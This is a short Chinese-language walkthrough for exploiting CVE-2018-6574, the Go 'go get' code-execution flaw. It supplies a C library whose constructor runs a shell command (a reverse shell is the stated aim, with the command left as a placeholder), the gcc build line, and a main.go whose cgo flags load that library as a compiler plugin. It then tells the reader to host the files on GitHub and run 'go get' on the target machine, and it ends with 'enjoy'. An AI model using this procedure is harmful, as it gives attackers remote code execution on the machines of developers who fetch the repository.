CVE-2018-6574
复现步骤:
- 创建一个包含恶意命令(反向 shell)的 .c 文件:
#include<stdio.h>
#include<stdlib.h>
static void malicious() __attribute__((constructor));
void malicious() {
system("<insert your command here>");
}
- 使用 GCC 编译它。你必须在与目标完全相同的架构和操作系统上进行编译(例如 Linux x86_64):
gcc -shared -o attack.so -fPIC attack.c
- 创建一个 main.go 文件,其中包含告诉 Go 使用我们恶意插件的头文件:
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int bridge_int_func(intFunc f){
// return f();
// }
//
// int fortytwo(){
// return 42;
// }
import "C"
import "fmt"
func main() {
f := C.intFunc(C.fortytwo)
fmt.Println(int(C.bridge_int_func(f)))
// Output: 42
}
- 将
main.go 和 attack.so 文件托管到 GitHub 仓库中
- 在目标机器上运行命令
go get github.com/<your-handle>/<your-hepo>
- 尽情享受吧